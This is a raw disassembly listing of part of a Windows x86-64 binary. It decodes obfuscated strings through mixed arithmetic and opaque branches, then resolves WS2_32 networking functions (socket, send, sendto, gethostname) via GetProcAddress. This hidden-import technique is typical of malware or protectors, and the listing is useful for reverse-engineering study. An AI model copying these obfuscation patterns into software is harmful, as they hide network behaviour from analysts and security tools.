movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072c25
lea ecx, [r11 - 0x1b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x43
mov byte [rbp + r11 + 0x1b0], dil
inc r11
jmp 0x140072c25
lea edx, [r11 - 0x69]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x21
add dil, dl
cmp r8, 0x80
jb 0x140073079
movzx r10d, r11b
lea edx, [r10 - 0x76]
movzx eax, r9b
and al, dl
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007368e
lea edx, [r11 + 0x49]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
inc dil
add dil, dl
cmp rbx, 5
jae 0x140073540
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x1400734ac
lea edx, [r11 + 0x7e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x72
jmp 0x1400730a0
lea edx, [r11 - 5]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x23
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 3
je 0x140073564
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x1400733bd
lea edx, [r11 - 0x35]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x73
jmp 0x1400730e6
lea ecx, [r11 + 0x32]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5e
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072c25
lea edx, [r11 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
jmp 0x1400735ec
movzx r10d, r11b
lea edx, [r10 - 0x6a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1a
add dil, dl
jmp 0x140073579
lea edx, [r11 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140073741
lea edx, [r11 - 6]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007373e
movzx r10d, r11b
lea edx, [r10 - 0x54]
movzx eax, r9b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400736fb
lea edx, [r11 + 0x5e]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x140072c25
lea ecx, [r11 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x140072c25
movzx r10d, r11b
lea edx, [r10 - 0x3e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4e
jmp 0x14007368b
lea rax, [r8 + 3]
cmp rbx, rax
jae 0x1400732c8
lea edx, [r11 - 0x59]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6f
jmp 0x140073130
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140073302
lea edx, [r11 + 0x66]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072c25
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140073332
movzx r10d, r11b
lea edx, [r10 + 2]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xe
add dil, dl
jmp 0x140073579
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007335f
movzx r10d, r11b
lea edx, [r10 - 0x14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x74
jmp 0x1400736fb
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140073390
lea edx, [r11 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x140072c25
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140073133
movzx r10d, r11b
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007368b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400733ea
movzx r10d, r11b
lea edx, [r10 + 0x19]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x51
jmp 0x14007368b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140073418
lea ecx, [r11 + 0x67]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x2f
inc r8
dec r11
inc r11
jmp 0x140072c25
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140073441
lea ecx, [r11 - 0x61]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x59
jmp 0x140073741
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140073471
movzx r10d, r11b
lea edx, [r10 - 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7b
add dil, dl
jmp 0x140073579
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400730e9
lea ecx, [r11 - 0x77]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x41
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072c25
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400734e6
lea edx, [r11 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072c25
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140073513
movzx r10d, r11b
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140073579
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400730a3
movzx r10d, r11b
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007368b
movzx r10d, r11b
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r11 + 0x1b0]
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
jmp 0x1400736fb
movzx r10d, r11b
lea ecx, [r10 + 0x26]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0xa]
sub r10b, 0x33
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x65
add r10b, r9b
movzx eax, r10b
mov byte [rbp + r11 + 0x1b0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x1400735ef
lea ecx, [r11 + 0x71]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x17
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072c25
lea edx, [r11 + 0x23]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xb
add dil, dl
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x2c
add cl, r9b
mov byte [rbp + r11 + 0x1b0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072c25
lea ecx, [r11 - 0x79]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4f
jmp 0x140073741
lea ecx, [r11 - 0x63]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4b
dec r11
inc r11
jmp 0x140072c25
movzx r10d, r11b
lea edx, [r10 + 1]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 7
add dil, dl
add r10b, 0x31
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x57
add r10b, r9b
mov byte [rbp + r11 + 0x1b0], r10b
inc r8
dec r11
inc r11
jmp 0x140072c25
lea ecx, [r11 + 0x17]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x5f
inc r8
dec r11
inc r11
jmp 0x140072c25
movzx r10d, r11b
lea edx, [r10 + 0x7b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5d
add dil, dl
add r10b, 0x7f
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x79
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x1b0], cl
jmp 0x14007373e
lea ecx, [r11 + 0x2d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072c25
movabs rcx, 0x61adc4d8230159f5
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x4d
movzx eax, byte [rbp + r11 + 0x1b0]
add rax, r8
add r11, rax
inc r11
jmp 0x140072c25
sub r11b, 0x3d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x55
jmp 0x140072c22
add r11b, 0x75
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x33
jmp 0x140072c12
lea rdx, [rbp + 0x162d1e4]
jmp 0x1400737e7
lea rdx, [rbp + 0x1389a8b]
jmp 0x1400737e7
lea rdx, [rbp + 0x1b0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov byte [rbp - 0x20], listen
mov byte [rbp - 0x1f], 0x21
mov byte [rbp - 0x1e], 0x23
mov byte [rbp - 0x1d], 0x28
mov byte [rbp - 0x1c], 0x20
mov byte [rbp - 0x1b], 0x3d
mov byte [rbp - 0x1a], 0x1c
mov byte [rbp - 0x19], 0x3e
mov byte [rbp - 0x18], 3
mov byte [rbp - 0x17], 0x30
mov byte [rbp - 0x16], 0x22
mov byte [rbp - 0x15], 0x30
mov byte [rbp - 0x14], 0x31
mov byte [rbp - 0x13], 0x3b
mov byte [rbp - 0x12], 0xa8
xor eax, eax
mov byte [rbp - 0x11], al
movzx edi, byte [rbp + 0x400]
nop dword [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x10
jae 0x140074399
movzx r9d, byte [rbp + r10 - 0x20]
mov rdx, r9
cmp rbx, r10
ja 0x14007438d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007389f
movabs rcx, 0xb7fc05420f4555c9
add rcx, r10
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x7f
jmp 0x1400738e0
je 0x140074316
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400742b3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007425e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007423d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400741f9
nop dword [rax]
cmp r8, r10
ja 0x140074381
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14007390e
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6b
jmp 0x140073942
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400741da
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400741b6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140074197
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007416d
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140073ec2
nop
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140073e9f
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140073e77
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140073e52
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140073e2f
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140073e10
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140073df1
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140073dce
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140073daf
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140073d81
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140073950
lea rbx, [r8 + 0x41]
lea r8, [rbx + 9]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140074364
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140074347
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140073b3d
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140073b22
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140073b07
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140073d38
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140073cec
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140073cab
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140073c87
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140073950
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140073c5c
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140073c3d
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140073c1d
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140073c01
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140073be5
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140073bc2
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140073ba0
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140073b7b
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140073b58
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140073950
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x1000]
jmp 0x140073950
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
jmp 0x140073942
lea ecx, [r10 - 0x6f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 9
jmp 0x1400738e0
lea ecx, [r10 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
jmp 0x140073863
lea edx, [r10 - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x58
add dil, dl
movzx r11d, r10b
jmp 0x140074213
lea ecx, [r10 + 0x56]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5a
inc r8
dec r10
inc r10
jmp 0x140073853
lea ecx, [r10 - 0x3c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5c
dec r10
inc r10
jmp 0x140073853
lea edx, [r10 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5e
add dil, dl
movzx r11d, r10b
jmp 0x140074278
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
jmp 0x140074297
lea ecx, [r10 + 0xe]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x62
jmp 0x14007429a
lea edx, [r10 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
movzx r11d, r10b
jmp 0x14007413b
lea edx, [r10 - 0x16]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x1400742d5
lea ecx, [r10 + 0x58]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x68
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140073853
lea ecx, [r10 + 0x6b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x13
mov byte [rbp + r10 - 0x20], dil
inc r10
jmp 0x140073853
lea ecx, [r10 - 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x11
cmp r8, 0x2a
jb 0x140073c9e
movzx r11d, r10b
lea edx, [r11 + 0x16]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x34]
jmp 0x140074213
lea ecx, [r10 + 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xf
cmp rbx, 0x400
jae 0x1400740ff
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x14007400c
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140073cc1
lea ecx, [r10 - 0x4b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xd
lea rax, [r8 + rbx]
cmp rax, 0x40
je 0x140074123
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140073f8a
lea ecx, [r10 - 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x43
jmp 0x140073d02
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140073853
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400742d5
movzx r11d, r10b
lea edx, [r11 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007413e
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007429a
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140074297
movzx r11d, r10b
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140074278
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140073853
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140073853
movzx r11d, r10b
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140074213
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140073eed
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
jmp 0x140073d4e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140073f28
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140073853
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140073f58
movzx r11d, r10b
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007413e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140073d4e
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140073853
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140073fb6
movzx r11d, r10b
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x41
jmp 0x140074213
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140073fe4
lea ecx, [r10 - 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3d
dec r10
inc r10
jmp 0x140073853
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140073d02
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x39
jmp 0x140074297
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140074047
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140073853
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140074077
movzx r11d, r10b
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007413e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400740a3
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140074297
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400740d3
movzx r11d, r10b
lea edx, [r11 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140074278
cmp rbx, rcx
jne 0x140073cc1
movzx r11d, r10b
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140074213
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 - 0x20]
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140074278
movzx r11d, r10b
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r11b, 3
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x15
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 - 0x20], al
inc r8
add rax, r8
sub r10, rax
jmp 0x1400742d5
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140073853
movzx r11d, r10b
lea ecx, [r11 - 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x63
jmp 0x140074278
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
inc r8
dec r10
inc r10
jmp 0x140073853
movzx r11d, r10b
lea ecx, [r11 + 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x69
jmp 0x140074213
movzx r11d, r10b
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6d
sub r11b, 0x21
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x19
add r9b, r11b
mov byte [rbp + r10 - 0x20], r9b
inc r8
dec r10
inc r10
jmp 0x140073853
lea ecx, [r10 - 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x71
dec r10
inc r10
jmp 0x140073853
movzx r11d, r10b
lea ecx, [r11 + 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x73
add r11b, 0x71
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x17
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 - 0x20], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140073853
movabs rcx, 0x97ec1a4a4c5aaced
add rcx, r10
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 - 0x20], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140073853
movabs rcx, 0x27f40fc62dd0015b
add rcx, r10
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x7d
movzx eax, byte [rbp + r10 - 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x140073853
add r10b, 0x6d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 5
jmp 0x140073850
sub r10b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 3
jmp 0x140073840
lea rdx, [rbp + 0x155a2ec]
jmp 0x14007439d
lea rdx, [rbp + 0x11af8b5]
jmp 0x14007439d
lea rdx, [rbp - 0x20]
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [rsp + 0x28], 0
je 0x1400745f1
cmp qword [rsp + 0x30], 0
je 0x1400745f1
cmp qword [rsp + 0x38], 0
je 0x1400745f1
cmp qword [rsp + 0x40], 0
je 0x1400745f1
cmp qword [rsp + 0x48], 0
je 0x1400745f1
cmp qword [rsp + 0x50], 0
je 0x1400745f1
cmp qword [rsp + 0x58], 0
je 0x1400745f1
cmp qword [rsp + 0x60], 0
je 0x1400745f1
cmp qword [rsp + 0x68], 0
je 0x1400745f1
cmp qword [rsp + 0x70], 0
je 0x1400745f1
cmp qword [rsp + 0x78], 0
je 0x1400745f1
cmp qword [rbp - 0x80], 0
je 0x1400745f1
cmp qword [rbp - 0x78], 0
je 0x1400745f1
mov rbx, qword [rbp - 0x70]
test rbx, rbx
je 0x1400745f1
mov r11, qword [rbp - 0x68]
test r11, r11
je 0x1400745f1
mov r10, qword [rbp - 0x60]
test r10, r10
je 0x1400745f1
mov r9, qword [rbp - 0x58]
test r9, r9
je 0x1400745f1
mov r8, qword [rbp - 0x50]
test r8, r8
je 0x1400745f1
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400745f1
mov rdx, qword [rbp - 0x48]
test rdx, rdx
je 0x1400745f1
test r13, r13
je 0x1400745f1
test r12, r12
je 0x1400745f1
test r15, r15
je 0x1400745f1
test r14, r14
je 0x1400745f1
test rsi, rsi
je 0x1400745f1
test rax, rax
je 0x1400745f1
mov rdi, qword [rsp + 0x30]
mov qword [0x1401dd2f0], rdi
mov rdi, qword [rsp + 0x38]
mov qword [0x1401dd2f8], rdi
mov rdi, qword [rsp + 0x40]
mov qword [0x1401dd300], rdi
mov rdi, qword [rsp + 0x48]
mov qword [0x1401dd308], rdi
mov rdi, qword [rsp + 0x50]
mov qword [0x1401dd310], rdi
mov rdi, qword [rsp + 0x58]
mov qword [0x1401dd318], rdi
mov rdi, qword [rsp + 0x60]
mov qword [0x1401dd320], rdi
